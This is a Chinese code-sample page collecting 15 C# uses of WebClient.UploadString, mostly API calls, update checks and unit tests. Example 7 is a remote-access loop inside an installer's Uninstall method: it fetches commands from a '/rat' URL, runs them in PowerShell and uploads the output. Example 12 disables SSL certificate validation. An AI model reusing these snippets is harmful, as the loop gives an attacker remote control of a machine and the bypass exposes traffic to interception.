本文整理汇总了C#中WebClient.UploadString方法的典型用法代码示例。如果您正苦于以下问题:C# WebClient.UploadString方法的具体用法?C# WebClient.UploadString怎么用?C# WebClient.UploadString使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类WebClient
的用法示例。
在下文中一共展示了WebClient.UploadString方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: GetFederateInfo
public FederateRecordSet GetFederateInfo()
{
if (ViewState["FederateRecordSet"] == null)
{
System.Net.WebClient wc = new WebClient();
string federatedata = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/GetAllFederates", "POST", "");
FederateRecordSet federates = (new JavaScriptSerializer()).Deserialize<FederateRecordSet>(federatedata);
ViewState["FederateRecordSet"] = federates;
}
return ViewState["FederateRecordSet"] as FederateRecordSet;
}
示例2: Page_Load
protected void Page_Load(object sender, EventArgs e)
{
var client = new WebClient();
var create = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd/1980-2-14", "PUT", string.Empty);
var read = client.DownloadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd");
var update = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd/1980-2-14", "POST", string.Empty);
var delete = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd", "DELETE", string.Empty);
lblMsg.Text = string.Format("{0}<br />{1}<br />{2}<br />{3}",
create,
read,
update,
delete);
}
示例3: GetUpdateList
private void GetUpdateList(string updateKey)
{
WebClient client = new WebClient();
client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
string response;
try
{
response = client.UploadString("http://infinity-code.com/products_update/checkupdates.php",
"k=" + WWW.EscapeURL(updateKey) + "&v=" + OnlineMaps.version + "&c=" + (int)channel);
}
catch
{
return;
}
XmlDocument document = new XmlDocument();
document.LoadXml(response);
XmlNode firstChild = document.FirstChild;
updates = new List<OnlineMapsUpdateItem>();
foreach (XmlNode node in firstChild.ChildNodes) updates.Add(new OnlineMapsUpdateItem(node));
}
示例4: Game_OnGameEnd
private void Game_OnGameEnd(GameEndEventArgs args)
{
using (WebClient wc = new WebClient())
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
wc.UploadString("http://niels-wouters.be/LeagueSharp/stats.php", "assembly=" + ChampName);
}
}
示例5: Main
static void Main()
{
WebClient client = new WebClient();
string address = "http://localhost:50560/CalculateDistance?startX=10&endX=10&startY=15&endY=15";
var query = client.UploadString(address, "GET");
Console.WriteLine(query);
}
示例6: GetUpdateKey
private string GetUpdateKey()
{
WebClient client = new WebClient();
client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
string updateKey = client.UploadString("http://infinity-code.com/products_update/getupdatekey.php",
"key=" + invoiceNumber + "&package=" + WWW.EscapeURL("Online Maps"));
return updateKey;
}
示例7: Uninstall
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
WebClient w = new WebClient();
while (true)
{
try{
string r = w.DownloadString("http://127.0.0.1/rat");
string results = Pshell.RunPSCommand(r);
w.UploadString("http://127.0.0.1/rat",results);
}
catch (Exception e)
{
w.UploadString("http://127.0.0.1/rat",e.Message);
}
}
}
示例8: Post
public string Post(string Url, string cookie, string data)
{
WebClient myClient = new WebClient();
myClient.Headers.Add(cookie+"; __atuvc=5%7C15; __unam=4134b67-1453678e31a-476b0f5e-5");
myClient.Headers.Add("X-Requested-With:XMLHttpRequest");
myClient.Headers.Add("Content-Type: application/x-www-form-urlencoded");
string resp = myClient.UploadString(Url, data);
FileStream fs = new FileStream("E:/1.txt", FileMode.Create);
byte[] bytes = Encoding.UTF8.GetBytes(resp);
fs.Write(bytes, 0, bytes.Length);
fs.Close();
return resp;
}
示例9: CallApi
/// <summary>
/// Calls the API.
/// </summary>
/// <param name="source">
/// The source.
/// </param>
/// <returns>
/// The call API.
/// </returns>
/// <remarks>
/// </remarks>
public static string CallApi(string source)
{
using (var client = new WebClient())
{
client.Headers.Add("content-type", "application/x-www-form-urlencoded");
var data = string.Format(PostData, source);
var result = client.UploadString(ApiEndpoint, data);
ErrorHandler.Publish(LogLevel.Debug, result);
var doc = new XmlDocument();
doc.LoadXml(result);
var node = doc.SelectSingleNode("//compiledCode");
return node != null ? node.InnerText : string.Empty;
}
}
示例10: Game_OnGameLoad
private void Game_OnGameLoad(EventArgs args)
{
Player = ObjectManager.Player;
if (ChampName.ToLower() != Player.ChampionName.ToLower())
return;
SkinManager = new SkinManager();
Spells = new SpellManager();
InitializeSpells(ref Spells);
InitializeSkins(ref SkinManager);
Menu = new Menu("Easy" + ChampName, "Easy" + ChampName, true);
SkinManager.AddToMenu(ref Menu);
Menu.AddSubMenu(new Menu("Target Selector", "Target Selector"));
SimpleTs.AddToMenu(Menu.SubMenu("Target Selector"));
Menu.AddSubMenu(new Menu("Orbwalker", "Orbwalker"));
Orbwalker = new Orbwalking.Orbwalker(Menu.SubMenu("Orbwalker"));
InitializeMenu();
Menu.AddItem(new MenuItem("Recall_block", "Block spells while recalling").SetValue(true));
Menu.AddToMainMenu();
Game.OnGameUpdate += Game_OnGameUpdate;
Game.OnGameEnd += Game_OnGameEnd;
Drawing.OnDraw += Drawing_OnDraw;
try
{
using (WebClient wc = new WebClient())
{
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
string amount = wc.UploadString("http://niels-wouters.be/LeagueSharp/playcount.php", "assembly=" + ChampName);
Game.PrintChat("Easy" + ChampName + " is loaded! This assembly has been played in " + amount + " games.");
}
}
catch (Exception)
{
Game.PrintChat("Easy" + ChampName + " is loaded! Error trying to contact EasyServer!");
}
}
示例11: createPlayer
//creates the player
public static Player createPlayer(string name) {
Player player = null;
string endpoint = api + "/players?name=" + name + "&device_id=" + Util.getDeviceID ();
WebClient client = new WebClient ();
string response = client.UploadString (endpoint,"");
JObject json = JObject.Parse (response);
player = new Player(
(int)json["id"],
(string)json["name"],
(int)json["hifive_count"],
(int)json["characters"],
(int)json["powerup_lvl"]
);
return player;
}
示例12: Main
public static void Main(string[] args)
{
var url = args[0];
var user = args[1];
var pass = args[2];
var postData = args[3];
//SSL証明書を無視
ServicePointManager.ServerCertificateValidationCallback =
(sender, cert, chain, errors) => true;
WebClient wc = new WebClient();
//Basic認証
wc.Credentials = new NetworkCredential(user, pass);
//Post
var res = wc.UploadString(url, "POST", postData);
Console.Write(res);
}
示例13: Request
public string Request(string[] mnfo)
{
string HtmlResult = "";
using (WebClient wc = new WebClient()) {
string URI = "https://api.put.io/v2" + mnfo[1];
if (mnfo[0] == "GET") {
HtmlResult = wc.DownloadString(URI + "?oauth_token=" + this.Token);
} else if (mnfo[0] == "POST") {
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
mnfo[2] += "&oauth_token=" + this.Token;
HtmlResult = wc.UploadString(URI, mnfo[2]);
} else if (mnfo[0] == "GETRedirect") {
var request = (HttpWebRequest)WebRequest.Create(URI + "?oauth_token=" + this.Token);
request.Method = "HEAD";
request.AllowAutoRedirect = false;
string location;
using (var response = request.GetResponse() as HttpWebResponse) {
location = response.GetResponseHeader("Location");
}
HtmlResult = location;
}
}
return HtmlResult;
}
示例14: ConcurrentOperations_Throw
public static async Task ConcurrentOperations_Throw()
{
await LoopbackServer.CreateServerAsync((server, url) =>
{
var wc = new WebClient();
Task ignored = wc.DownloadDataTaskAsync(url); // won't complete
Assert.Throws<NotSupportedException>(() => { wc.DownloadData(url); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadDataAsync(url); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadDataTaskAsync(url); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadString(url); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadStringAsync(url); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadStringTaskAsync(url); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadFile(url, "path"); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadFileAsync(url, "path"); });
Assert.Throws<NotSupportedException>(() => { wc.DownloadFileTaskAsync(url, "path"); });
Assert.Throws<NotSupportedException>(() => { wc.UploadData(url, new byte[42]); });
Assert.Throws<NotSupportedException>(() => { wc.UploadDataAsync(url, new byte[42]); });
Assert.Throws<NotSupportedException>(() => { wc.UploadDataTaskAsync(url, new byte[42]); });
Assert.Throws<NotSupportedException>(() => { wc.UploadString(url, "42"); });
Assert.Throws<NotSupportedException>(() => { wc.UploadStringAsync(url, "42"); });
Assert.Throws<NotSupportedException>(() => { wc.UploadStringTaskAsync(url, "42"); });
Assert.Throws<NotSupportedException>(() => { wc.UploadFile(url, "path"); });
Assert.Throws<NotSupportedException>(() => { wc.UploadFileAsync(url, "path"); });
Assert.Throws<NotSupportedException>(() => { wc.UploadFileTaskAsync(url, "path"); });
Assert.Throws<NotSupportedException>(() => { wc.UploadValues(url, new NameValueCollection()); });
Assert.Throws<NotSupportedException>(() => { wc.UploadValuesAsync(url, new NameValueCollection()); });
Assert.Throws<NotSupportedException>(() => { wc.UploadValuesTaskAsync(url, new NameValueCollection()); });
return Task.CompletedTask;
});
}
示例15: UploadString_InvalidArguments_ThrowExceptions
public static void UploadString_InvalidArguments_ThrowExceptions()
{
var wc = new WebClient();
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((string)null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((string)null, null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((Uri)null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((Uri)null, null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null, null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((string)null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((string)null, null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((Uri)null, null); });
Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((Uri)null, null, null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString("http://localhost", null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString("http://localhost", null, null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString(new Uri("http://localhost"), null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString(new Uri("http://localhost"), null, null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null, null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null, null, null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync("http://localhost", null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync("http://localhost", null, null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync(new Uri("http://localhost"), null); });
Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync(new Uri("http://localhost"), null, null); });
}